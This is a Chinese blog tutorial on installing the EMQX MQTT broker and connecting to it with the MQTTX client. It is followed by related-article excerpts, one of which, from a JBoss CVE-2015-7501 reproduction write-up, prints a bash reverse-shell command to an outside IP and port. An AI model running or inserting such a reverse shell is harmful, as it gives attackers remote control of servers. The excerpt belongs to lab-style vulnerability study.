MQTT--EMQX入门+MQTTX使用

目录

  • 1、什么是EMQX?
    • 1.1 EMQX介绍
    • 1.2 EMQX特点
    • 1.3 与物联网之间的关系以及主要的产品
      • 主要的产品
  • 2、安装启动
    • 2.1 基本命令
    • 2.2 目录结构
  • 3、MQTTX客户端
    • 3.1 连接配置
  • 总结
  • PS:


1、什么是EMQX?

首先你得有MQTT的知识,不认识MQTT的小伙伴可以先看看这篇:MQTT–快速入门

1.1 EMQX介绍

MQTT属于是物联网的通信协议,在MQTT协议中有两大角色:客户端(发布者/订阅者),服务端(Mqtt broker);针对客户端和服务端需要有遵循该协议的的具体实现,EMQ/EMQ X就是MQTT Broker的一种实现。
EMQ X 基于 Erlang/OTP 平台开发的MQTT 消息服务器,是开源社区中最流行的 MQTT 消息服务器。 EMQ X 是开源百万级分布式 MQTT 消息服务器(MQTT Messaging Broker),用于支持各种接入标准 MQTT 协议的设备,实现从设备端到服务器端的消息传递,以及从服务器端到设备端的设备控制消息转发。从而实现物联网设备的数据采集,和对设备的操作和控制。

1.2 EMQX特点

  • 易于安装和使用;
  • 灵活的扩展性,支持企业的一些定制场景;
  • 中国本地的技术支持服务,通过微信、QQ等线上渠道快速响应客户需求;
  • 基于 Apache 2.0 协议许可,完全开源。EMQ X 的代码都放在 Github 中,用户可以查看所有源代码。
  • EMQ X 3.0 支持 MQTT 5.0 协议,是开源社区中第一个支持 5.0协议规范的消息服务器,并且完全兼容 MQTT V3.1 和 V3.1.1 协议。除了 MQTT 协议之外,EMQ X 还支持别的一些物联网协议
  • 单机支持百万连接,集群支持千万级连接;毫秒级消息转发。EMQ X 中应用了多种技术以实现上述功 能,
  • 利用 Erlang/OTP 平台的软实时、高并发和容错(电信领域久经考验的语言)
  • 全异步架构
  • 连接、会话、路由、集群的分层设计
  • 消息平面和控制平面的分离等
  • 扩展模块和插件,EMQ X 提供了灵活的扩展机制,可以实现私有协议、认证鉴权、数据持久化、桥接转 发和管理控制台等的扩展
  • 桥接:EMQ X 可以跟别的消息系统进行对接,比如 EMQ X Enterprise 版本中可以支持将消息转发到 Kafka、RabbitMQ 或者别的 EMQ 节点
  • 共享订阅:共享订阅支持通过负载均衡的方式在多个订阅者之间来分发 MQTT 消息。比如针对物联网等 数据采集场景,会有比较多的设备在发送数据,通过共享订阅的方式可以在订阅端设置多个订阅者来实现这 几个订阅者之间的工作负载均衡

1.3 与物联网之间的关系以及主要的产品

典型的物联网平台包括设备硬件、数据采集、数据存储、分析、Web / 移动应用等。EMQ X 位于数据采集这 一层,分别与硬件和数据存储、分析进行交互,是物联网平台的核心:前端的硬件通过 MQTT 协议与位于数据采 集层的 EMQ X 交互,通过 EMQ X 将数据采集后,通过 EMQ X 提供的数据接口,将数据保存到后台的持久化平台 中(各种关系型数据库和 NOSQL 数据库),或者流式数据处理框架等,上层应用通过这些数据分析后得到的结果 呈现给最终用户。
![在这里插入图片描述](https://i-blog.csdnimg.cn/direct/9c451ee23d3a4ca6afc77f1086048e16.pn

主要的产品

EMQ X 公司主要提供 三个产品,可在官网首页产品导航查看每一种产品;主要体现在支持的连接数量、产品 功能和商业服务等方面的区别:(功能递增的)
● EMQ X Broker:EMQ X 开源版,完整支持 MQTT V3.1.1/V5.0 协议规范,完整支持 TCP、TLS、 WebSocket 连接,支持百万级连接和分布式集群架构;LDAP, MySQL, Redis, MongoDB 等扩展插件集成,支 持插件模式扩展服务器功能;支持跨 Linux、Windows、macOS 平台安装,支持公有云、私有云、K8S/容器 部署
● EMQ X Enterprise:EMQ X 企业版,在开源版基础上,支持物联网主流协议 MQTT、MQTT-SN、 CoAP/LwM2M、HTTP、WebSocket 一站式设备接入;JT-808/GBT-32960 等行业协议支持,基于 TCP/UDP 私有协议的旧网设备接入兼容,多重安全机制与认证鉴权;高并发软实时消息路由;强大灵活的内置规则引 擎;企业服务与应用集成;多种数据库持久化支持;消息变换桥接转发 Kafka;管理监控中心
● EMQ X Platform:EMQ X 平台版,EMQ X Platform 是面向千万级超大型 IoT 网络和应用,全球首选电 信级物联网终端接入解决方案。千万级大容量;多物联网协议;电信级高可靠;卓越 5G 网络支持;跨云跨 IDC 部署;兼容历史系统;完善的咨询服务(从咨询到运维)
在这里插入图片描述

2、安装启动

详细可以看官网的安装步骤:EMQX文档 里面有各个系统的安装步骤,很全面

我这里安装的是EMQ X 开源版
安装成功后输入命令sudo systemctl start emqx启动
在这里插入图片描述
访问http://ip:18083/
初始账号密码:admin public
在这里插入图片描述
出现这个界面就是成功了,你们刚开始登录没有客户端连接(后面会和大家讲如何连接到EMQX),连接数都为0的

2.1 基本命令

如果采用的是非docker部署的,那么EMQ X提供了一些常用的命令行工具,方便用户对EMQ X进行启动、关 闭、进入控制台等操作。

emqx start 后台启动 EMQ X Broker 
emqx stop 关闭 EMQ X Broker 
emqx restart 重启 EMQ X Broker 
emqx console 使用控制台启动 EMQ X Broker 
emqx foreground 使用控制台启动 EMQ X Broker,与 emqx console 不同, emqx foreground 不支持输入 Erlang 命令 
emqx ping Ping EMQ X Broke  

2.2 目录结构

版本不一致,可能不同
在这里插入图片描述
在这里插入图片描述

3、MQTTX客户端

MQTTX就是一个基于MQTT收发消息的客户端 MQTTX官网下载
在官网下载系统需要的版本

3.1 连接配置

名称随意
ClientID随意
服务器地址前缀要为mqtt://
服务器地址为你的ip地址
EMQX连接端口默认是1883
用户名和密码是你客户端登录的用户名密码,和登录EMQX后台的那个不是一个概念,这里可以随便填或者不填
在这里插入图片描述
点击连接后,你在EMQX后台就可以看见连接数为1了
然后可以添加订阅(相当于添加主题),用来监听消息
在这里插入图片描述
然后发送消息
在这里插入图片描述
要查看test主题收到的消息,要点击那个test
可以看见右边是我发送的消息,左边是我接收的消息
在这里插入图片描述
并且EMQX后台可以看见主题数和订阅数
在这里插入图片描述


总结

PS:

感谢您的阅读!如果您觉得本篇文章对您有所帮助,请给予博主一个赞喔~

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/435850.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Squaretest单元测试辅助工具使用

1、idea安装插件 Squaretest 然后关掉idea 2、安装字节码软件(jclasslib) 3、找到idea里面的Squaretest安装目录 找到包含TestStarter的jar包 4、打开 com.squaretest.c.f 打开后选择常量池 5、找到第16个修改 Long value值,修改的数字即为使…

JBOSS中间件漏洞复现

CVE-2015-7501 1.开启环境 cd vulhub/jboss/JMXInvokerServlet-deserialization docker-compose up -d docker ps 2.访问靶场 3.访问/invoker/JMXInvokerServlet目录 4.将反弹shell进⾏base64编码 bash -i >& /dev/tcp/47.121.191.208/6666 0>&1 YmFzaCAt…

nginx的安装和使用

源码安装 1.环境准备:卸载其他方式安装的web应用,防止端口冲突 2.下载nginx源码包 wget https://nginx.org/download/nginx-1.20.2.tar.gz 3.源码编译安装 yum install -y gcc pcre-devel zlib-devel #安装依赖包 useradd -M -s /sbin/nologin ngi…

pdf删除某些页面如何操作?学会这几种方法可以轻松删除pdf页面!

pdf删除某些页面如何操作?在日常办公的繁忙节奏中,PDF文档作为信息交流的重要载体,频繁地出现在我们的工作场景中,然而,在收集、整理这些PDF文件时,一个常见的问题便是文件中可能包含不必要的页面&#xff…

9.24-k8s服务发布

Ingress 使用域名发布 K8S 服务 部署项目 一、先部署mariadb [rootk8s-master ~]# mkdir aaa [rootk8s-master ~]# cd aaa/ [rootk8s-master aaa]# # 先部署mariadb [rootk8s-master aaa]# # configmap [rootk8s-master aaa]# vim mariadb-configmap.yaml apiVersion: v1 ki…

27 Vue3之unocss原子化

前置知识 什么是原子化 CSS 原子化 CSS 是一种 CSS 的架构方式,它倾向于小巧且用途单一的 class,并且会以视觉效果进行命名。 为什么使用 原子化 CSS 传统方案 制作原子化 CSS 的传统方案其实就是提供所有你可能需要用到的 CSS 工具。例如&#xff0c…

接口隔离原则(学习笔记)

客户端不应该被迫依赖于它不使用的方法:一个类对另一个类的依赖应该建立在最小的接口上。 上面的设计我们发现他存在的问题,黑马品牌的安全门具有防盗,防水,防火的功能。现在如果我们还需要再创建一盒传智品牌的安全门&#xff0c…

深入解析Excel文件格式:.xls与.xlsx的差异与应用指南

在当今的数据处理和办公自动化领域,Microsoft Excel 无疑是一款极为重要的工具。 它不仅广泛应用于日常的数据录入、计算和图表制作,而且也是数据分析、财务建模等专业 领域不可或缺的软件。Excel 的文件格式经历了多个版本的迭代,其中 .xl…

Java设计模式概述

设计模式(Design pattern)代表了最佳的实践,通常被有经验的面向对象的软件开发人员所采用。设计模式是软件开发人员在软件开发过程中面临的一般问题的解决方案。这些解决方案是众多软件开发人员经过相当长的一段时间的试验和错误总结出来的。…

【C++】set详解

📢博客主页:https://blog.csdn.net/2301_779549673 📢欢迎点赞 👍 收藏 ⭐留言 📝 如有错误敬请指正! 📢本文由 JohnKi 原创,首发于 CSDN🙉 📢未来很长&#…

第十三届蓝桥杯真题Python c组D.数位排序(持续更新)

博客主页:音符犹如代码系列专栏:蓝桥杯关注博主,后期持续更新系列文章如果有错误感谢请大家批评指出,及时修改感谢大家点赞👍收藏⭐评论✍ 问题描述 小蓝对一个数的数位之和很感兴趣, 今天他要按照数位之和给数排序。…

小川科技携手阿里云数据库MongoDB:数据赋能企业构建年轻娱乐生态

随着信息技术的飞速发展,企业在处理海量数据时所面临的挑战日益严峻。特别是在年轻娱乐领域,用户行为的多样性和数据量的激增对数据存储与分析技术提出了更高的要求。在此背景下,小川凭借其前瞻性的技术视野,选择了MongoDB作为其数…

手机二要素接口如何用C#实现调用

一、什么是手机二要素? 手机二要素又称运营商二要素,运营商二要素核验,实名核验,手机号核验,手机二要素核验,即传入姓名、手机号码,校验此两项是否一致。实时核验,返回校验结果&…

web应用合规(一)双因子认证2FA解决方案

文章目录 背景知识什么是2FA认证因子分类知识因素持有因素 解决方案密码 OTP密码 TOTP方案对比 参考文档后记 最近做海外项目,对合规方面的要求比较高,写一篇流水账来记录下 登录时的双因子认证过程,于是开启了2FA(2 factor au…

jenkins 构建报错ERROR: Error fetching remote repo ‘origin‘

问题描述 修改项目的仓库地址后,使用jenkins构建报错 Running as SYSTEM Building in workspace /var/jenkins_home/workspace/【测试】客户端/client-fonchain-main The recommended git tool is: NONE using credential 680a5841-cfa5-4d8a-bb38-977f796c26dd&g…

【包教包会】CocosCreator3.x框架——音频声音模块(无需导入、无需常驻节点)

下载地址:AudioDemo3.x: CocosCreator3.x框架——音频模块 注意事项: 1、gi.musicPlay、gi.soundPlay是同步函数,使用前必须先将音频加载到缓存 Demo通过SceneLoading实现了一个极简的Loading页面,将音频全部加载后进入游戏&…

Find My汽车钥匙|苹果Find My技术与钥匙结合,智能防丢,全球定位

随着科技的发展,传统汽车钥匙向智能车钥匙发展,智能车钥匙是一种采用先进技术打造的汽车钥匙,它通过无线控制技术来实现对车门、后备箱和油箱盖等部件的远程控制。智能车钥匙的出现,不仅提升了汽车的安全性能,同时也让…

蓝桥杯—STM32G431RBT6(RTC时钟获取时间和日期)

一、RTC是什么,有什么用? 在 STM32 中,RTC(Real-Time Clock,实时时钟)主要有以下作用: 时间保持:即使在系统断电情况下,也能持续记录时间。(需要纽扣电池供电…

LORA DASH -一种更高效的微调方式

LORA DASH -一种更高效的微调方式 概述 大型语言模型(LLMs)通过在大规模数据集上的预训练,能够捕捉和学习丰富的语言特征和模式。目前,尽管预训练模型在诸多任务上取得了显著的成果,但它们在特定任务上的表现仍有提升…

iOS--App启动过程及优化

前言 App启动是用户对于一个app的第一印象,因此如何使用户在最短的时间打开进入app显得格外重要。启动优化因此成为了App调优至关重要的一项。 只有具体了解了App的启动过程,我们才能对其进行优化。 App启动过程 App启动分为冷启动和热启动 热启动&…